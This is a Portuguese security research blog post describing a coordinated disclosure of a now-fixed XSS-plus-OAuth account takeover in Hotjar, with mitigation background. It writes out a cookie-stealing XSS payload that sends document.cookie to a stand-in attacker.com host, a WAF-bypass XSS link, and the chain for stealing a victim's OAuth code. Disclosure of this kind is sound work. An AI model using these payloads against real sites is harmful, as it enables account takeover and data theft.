Introdução
O Cross-site scripting (também conhecido como XSS) conquistou, por mérito, seu lugar como uma das vulnerabilidades web mais populares. Desde o seu surgimento, nos primórdios da internet, inúmeras vulnerabilidades foram encontradas em sites por toda parte. Portanto, não é de surpreender que o XSS tenha sido consistentemente destacado como um dos principais riscos no OWASP TOP-10 desde a primeira edição da lista, em 2004!
Certamente, uma vulnerabilidade de tão alto perfil deve ser tratada e priorizada por todos — fornecedores, desenvolvedores, profissionais e a comunidade de segurança — e, de fato, ela é.
Ao longo dos anos, muitas camadas de proteção foram implementadas para detectar o XSS e impedir sua exploração. Do ponto de vista de um atacante, essas proteções representam um verdadeiro desafio. Embora o XSS continue ativo, tornou-se astronomicamente mais difícil explorá-lo com sucesso do que antes, o que explica por que vemos gradualmente menos instâncias dele no mundo real.
No entanto, como em muitos outros casos no ecossistema de cibersegurança, às vezes novos desenvolvimentos, aparentemente não relacionados, podem levar ao ressurgimento de vulnerabilidades antigas e, por vezes, esquecidas. Neste artigo, demonstramos por que este é exatamente o caso do XSS quando combinado de forma inteligente com uma nova tecnologia emergente: o OAuth.
XSS ♥️ OAuth
Qual a melhor forma de demonstrar uma nova técnica de ataque do que com exemplos reais? Este artigo fará exatamente isso. Embora o Salt Labs já tenha encontrado inúmeros casos em que exploramos essa falha com sucesso, decidimos chamar sua atenção para dois casos de alto perfil nos quais o impacto poderia ter sido muito grave se essas questões não tivessem sido resolvidas. Este post é o primeiro de uma série de duas partes, onde cada empresa será revelada em um artigo separado.
Como sempre, todas as descobertas que publicamos aqui seguiram nossa rigorosa política de divulgação coordenada para garantir que esses casos específicos já tivessem sido resolvidos e que qualquer exploração adicional fosse impossível. Em geral, costumamos buscar alvos de pesquisa que possuam um programa de bug bounty ou similar, pois isso demonstra que priorizam a segurança e convidam pesquisadores a encontrar vulnerabilidades.
Histórico do XSS
Para começar, forneceremos um contexto básico sobre o XSS e as proteções desenvolvidas para ele ao longo dos anos. Se você já se sente confortável com essa área, sinta-se à vontade para pular para a seção de Mitigações.
O básico
O XSS, em poucas palavras, é a capacidade de executar código JavaScript (doravante, JS) no navegador de uma vítima.
Vamos usar como exemplo um site vulnerável, https://xss.example.com, que exibe sua entrada de volta na tela.
Por exemplo, a URL:
https://xss.example.com/?input=Olá
Exibirá “Olá” na tela.
Se você escrever código HTML/JS em vez do texto de entrada, o navegador entenderá que o código foi gerado pelo backend e o processará como HTML/JS legítimo.
Por exemplo, a URL:
https://xss.example.com/?input=<script>alert(“xss”)</script>
Exibirá “<script>alert(‘xss’)</script>”, o que fará com que o navegador exiba uma janela com o texto "xss".
A situação fica interessante quando a vítima possui credenciais secretas armazenadas em https://xss.example.com, como cookies.
Em um ataque XSS típico, um invasor pode usar a seguinte URL para roubar esses cookies:
https://xss.example.com/?input=<script>document.location="http://attacker.com/index.php?cookie=" + document.cookie;</script>
O invasor pode enviar o link acima para outras pessoas (vítimas) por e-mail, redes sociais ou outros métodos. Quando uma vítima clica nesse link, seus cookies, incluindo credenciais armazenadas em https://xss.example.com, será enviado ao atacante. Isso resulta em uma tomada de conta completa.
E, bem… é basicamente isso (ou pelo menos todo o contexto de que você precisa).
As Mitigações
Como mencionamos, ao longo dos anos, inúmeras proteções contra XSS foram criadas. Se você é responsável pela segurança de um site e deseja se proteger contra ataques XSS, existem várias estratégias fundamentais que você pode implementar:
1. Sanitização Manual de Entrada e Codificação de Saída
Esta é a mitigação mais antiga e, ainda assim, a mais comum. Os desenvolvedores precisam sanitizar as entradas dos usuários e garantir que nenhum código HTML/JS proveniente de uma entrada seja interpretado como JS/HTML na saída. Essa abordagem coloca uma grande responsabilidade sobre os desenvolvedores e, em muitos casos, não é trivial sanitizar a entrada perfeitamente, o que leva a erros.
2. Uso de Frameworks Web Modernos
Se o site for desenvolvido em React, Angular ou outros frameworks JavaScript modernos semelhantes, ele oferece proteções integradas robustas contra XSS, escapando automaticamente qualquer valor incorporado no JSX por padrão. Esse escape automático impede efetivamente que sejam executados como HTML ou JavaScript.
3. HTTP-Only
Além da sanitização de entrada, existe outra abordagem comum que os sites devem adotar: o recurso HTTP-Only, que aumenta significativamente a segurança ao impedir o acesso aos valores de cookies por meio de scripts no lado do cliente. Esse atributo garante que os cookies sejam enviados ao servidor apenas com solicitações HTTP, tornando-os inacessíveis ao JavaScript executado no navegador.
No exemplo de xss.example.com, se o HTTP-only estivesse presente, o seguinte link:
https://xss.example.com/?input=<script>document.location="http://attacker.com/index.php?cookie=" + document.cookie;</script>
executaria um código JavaScript na vítima, mas o método “document.cookie” não retornaria um cookie sensível, tornando o ataque inviável.
4. CSP
A Política de Segurança de Conteúdo (CSP) é outra abordagem comum, que permite aos administradores de sites especificar fontes seguras para conteúdos como scripts e imagens, bloqueando efetivamente scripts maliciosos injetados de fontes não autorizadas.
Embora as mitigações que mencionamos acima sejam indispensáveis, e incentivemos todos os desenvolvedores a utilizá-las, elas não são infalíveis e ainda existem formas de os atacantes as contornarem.
XSS ♥️ OAuth ♥️ Hotjar
Começaremos com o exemplo do Hotjar. Uma empresa bem conhecida que atende a mais de um milhão de sites, incluindo marcas globais renomadas como Adobe, Microsoft, Panasonic, Columbia, RyanAir, Decathlon, T-Mobile, Nintendo e muitas outras. O Hotjar é uma solução líder para equipes de produto que desejam ir além da análise tradicional de web e produto, para que possam ter empatia e compreender seus usuários — conectando os pontos entre o que está acontecendo e por que acontece, para que possam melhorar a experiência do usuário (UX) e encantar seus clientes.
Devido à natureza da solução do Hotjar, como a gravação da atividade de tela e teclado do usuário, os dados coletados podem incluir um vasto volume de informações pessoais e sensíveis, como nomes, e-mails, endereços, mensagens privadas, dados bancários e até credenciais em determinadas circunstâncias. Independentemente de você já ter ouvido falar do Hotjar, é provável que você já tenha interagido com um dos milhões de sites que utilizam sua tecnologia, o que significa que ele pode ter coletado seus dados de alguma forma.
Normalmente, antes de iniciar a pesquisa, executamos nossas verificações automatizadas internas para identificar os pontos "fracos" do site, apenas para ter uma noção do que pode ser interessante sob a perspectiva de um atacante. A partir de hoje, decidimos tornar pública uma de nossas ferramentas, portanto, se você é proprietário de um site, você pode acessar nossa ferramenta aqui.
O Hotjar é um ótimo exemplo de um site moderno que segue todas as melhores práticas relacionadas a XSS. Portanto, procurar por XSS tradicional no backend não é trivial, e nossa abordagem aqui será diferente.
Baixamos todos os arquivos de código-fonte JS de https://insights.hotjar.com (o painel principal). Isso poderia ser feito trivialmente com ferramentas como esta.
O método mais comum para analisar código JS em busca de vulnerabilidades é procurar por "funções de destino" (Sink functions), que são métodos JS que executam argumentos como código HTML/JS. Por exemplo, métodos como "document.InnerHTML", "document.write" e "document.location".
Encontre mais informações sobre XSS baseado em DOM.
No caso do Hotjar, tentamos a estratégia inversa de procurar por "Fontes" — locais no código JS que recebem entrada do usuário, especialmente parâmetros de consulta. Por exemplo, dê uma olhada no seguinte código:

Assumindo que a URL assume a forma de https://example.com?name=value, este código JS lê "value" da URL.
Existem várias maneiras de pesquisar padrões em um código, mas começamos com um comando de busca básico por simplicidade. O seguinte comando de busca procura por URLSearchParams(window.location.search) em todos os arquivos JS do Hotjar e imprime 50 linhas de código para cada correspondência:

find . -name "*.js" -exec grep -H -A 50 "URLSearchParams(window.location.search)" {} +
Encontramos 24 correspondências, o que totaliza 24*50 = 1.200 linhas para ler.
Após ler e verificar várias correspondências, a seguinte nos chamou a atenção:

Além do URLSearchParams(window.location.search),você pode notar a função window.location.replace(e)abaixo. Neste ponto, é difícil saber o fluxo exato até esta linha e de onde o parâmetro está vindo.
Embora seja possível ler o código com atenção, executá-lo será muito mais eficaz. Portanto, usamos as ferramentas de depuração do Chrome no site da Hotjar, pesquisamos por essa linha específica e colocamos um ponto de interrupção nela.
Após ler o código e executá-lo usando o Chrome, é isso que o código faz:
Se:
- o parâmetro “next” estiver presente e não começar com “/”,
- “fromLMS” estiver presente dentro do parâmetro de consulta “next”
- returnURL também estiver presente no parâmetro de consulta “next”
- então: o código javascript redireciona o usuário para a returnURL usando window.location.replace.
Usando window.location.replace, você também pode executar um javascript usando a “URL” javascript:[código], tornando possível acionar o XSS usando o seguinte link:
https://insights.hotjar.com/?next=?fromLMS=1%26returnURL=javascript:alert('Hello XSS')&extraVar=jsvar32312
Observe que a função “extraVar” é usada apenas para contornar a proteção do WAF e não está diretamente relacionada ao problema em questão.
Contornando o HTTP-Only
A técnica de exploração padrão seria os invasores aproveitarem o XSS para ler os cookies do navegador. No entanto, os cookies (pelo menos os importantes) foram definidos com a flag HTTP-only neste caso. Portanto, não é possível ler esses cookies com código JavaScript, e todos os exploits de XSS clássicos não funcionarão aqui.
O OAuth como solução
Um dos recursos do Hotjar — e de quase qualquer outro site moderno hoje em dia — é o login social, que é baseado em OAuth (o padrão aberto para autorização).
Ao se conectar ao Hotjar usando o Google, o Hotjar envia você para o Google, o Google gera um token secreto para você, e você passa esse segredo de volta ao Hotjar para concluir a autenticação.
Por exemplo, se você clicar em “Entrar com o Google”, o Hotjar redirecionará você para o Google:
https://accounts.google.com/o/oauth2/v2/auth?response_type=code&client_id=145303889798-f167kpmuqrlh4rd597teoj633et6ku9i.apps.googleusercontent.com&redirect_uri=https://insights.hotjar.com/api/sso/google-auth&scope=openid+email+profile&state=[state]
e o Google irá automaticamente (assumindo que o usuário já tenha aprovado o Hotjar no Google anteriormente) redirecioná-lo de volta ao Hotjar usando a seguinte URL que contém um código secreto:
https://insights.hotjar.com/api/sso/google-auth?state=[state]&code=[secret_code]
Em outras palavras — o código secreto, ao final do fluxo OAuth, estará localizado na URL — e isso é algo que o código JavaScript pode ler.
*Você pode encontrar nossa explicação passo a passo caso queira ler mais sobre como o OAuth funciona.
Para combinar XSS com este novo recurso de login social (OAuth) e obter uma exploração funcional, usamos um código JavaScript que inicia um novo fluxo de login OAuth em uma nova janela e, em seguida, lê o token dessa janela:

Com este método, o código JavaScript abre uma nova aba para o Google, e o Google redireciona automaticamente o usuário de volta para https://insights.hotjar.com com o código OAuth na URL:
https://insights.hotjar.com/api/sso/google-auth#state=...&code=[secret_code]

O código JS lê a URL da nova aba (isso é possível porque, se você tem um XSS em um domínio em uma janela, essa janela pode acessar outras janelas da mesma origem) e extrai as credenciais OAuth dela.
Observe que alteramos o link original do OAuth para o Google — usamos o tipo de resposta “code,token” em vez de apenas “code”, o que faz com que o Google envie o código no fragmento de hash (#code=...). Isso nos permite ler o código da URL e garantir que o Hotjar não consuma o código, que só pode ser usado uma vez.
Assim que o invasor obtém o código da vítima, ele pode iniciar um novo fluxo de login no Hotjar, mas substituindo seu próprio código pelo código da vítima — levando a uma tomada de conta.
Em resumo — é assim que o link malicioso se parece (o código JavaScript foi inserido como um valor base64):https://insights.hotjar.com/?next=?fromLMS=1%26returnURL=javascript:eval(atob('CmI9d2luZG93Lm9wZW4oIm…'))&extraVar=jsvar32312
Quando uma vítima (proprietário da conta Hotjar) clica neste link (que possui um legítimo domínio), as credenciais serão transmitidas a um atacante. Existem alguns vetores de ataque potenciais que poderiam ser usados para enviar um link malicioso ao proprietário da conta Hotjar ou ao administrador do site. Por exemplo, o Hotjar possui um recurso de feedback onde os usuários escrevem comentários que o proprietário do site irá ler.
Como escrevemos anteriormente, o problema foi totalmente corrigido e o Hotjar fez um ótimo trabalho na mitigação.
Impacto
Como mencionado anteriormente, o Hotjar armazena gravações de usuários, incluindo atividades de teclado e mouse.
Esses dados incluem nomes, e-mails, endereços, mensagens privadas, detalhes bancários, credenciais (em cenários específicos) e muito mais.
Nas configurações padrão, o Hotjar censura dados:

Como você pode ver, em um cenário de invasão de conta, o atacante pode alterar as configurações e tornar a maioria dos dados confidenciais acessíveis. Embora, neste caso, isso não pareça incluir todos os tipos de informações (como detalhes de cartão de crédito, por exemplo), inclui uma quantidade extensa de outras informações confidenciais e valiosas. Observe que esses usuários incluem os administradores do site, o que significa que o atacante pode obter dados adicionais sobre o próprio site (como a localização do painel de controle) e até mesmo aproveitar isso para assumir o controle do site, dependendo de quais dados foram coletados.
O que vem a seguir?
Na próxima parte, exploraremos outra empresa bem conhecida onde descobrimos um novo método (um pouco diferente deste atual) para combinar XSS e OAuth. Fique ligado
Para saber mais sobre como a Salt pode ajudar a defender sua organização contra esses ou outros riscos de API, você pode falar com um representante ou agendar uma demonstração personalizada. Se você não tem certeza sobre a relevância para seus ativos, pode usar o scan do Salt Labs para verificar seu domínio quanto a riscos e vulnerabilidades gratuitamente.
Cronograma de Divulgação
Trabalhamos seguindo o cronograma abaixo neste processo de divulgação coordenada. Mais uma vez, agradecemos ao Hotjar por tomar medidas para resolver essas vulnerabilidades críticas.
- Salt Labs descobre a vulnerabilidade no Hotjar: 17 de abril de 2024
- A equipe de segurança da Hotjar implementa a mitigação e a Salt Labs confirma que as explorações não funcionam mais: 19 de abril de 2024
- A Salt Labs envia à equipe de segurança da Hotjar este blog técnico detalhando a vulnerabilidade: 19 de julho
- A equipe de marketing da Salt compartilha o rascunho do blog e o comunicado de imprensa com a equipe de marketing da Hotjar: 19 de julho
- A Salt publica o blog e o comunicado de imprensa: 29 de julho
